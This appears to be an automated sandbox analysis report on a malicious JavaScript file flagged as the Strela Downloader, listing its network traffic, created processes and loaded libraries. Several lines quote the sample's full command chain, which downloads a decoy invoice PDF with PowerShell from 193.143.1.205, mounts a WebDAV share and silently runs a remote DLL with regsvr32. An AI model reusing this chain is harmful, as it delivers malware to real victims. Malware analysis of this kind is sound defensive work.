Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1477417120.00000204DEDEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1539402358.000001F1D44B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1540038628.000001F1D4488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/cS
Source: svchost.exe, 00000009.00000002.2768946936.000001AA72A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1542049603.000001AA727C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3428, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 28098292552574015467.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4428:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mexn1bzo.yra.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 28098292552574015467.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,14120172395520166533,15037682456835421696,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,14120172395520166533,15037682456835421696,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
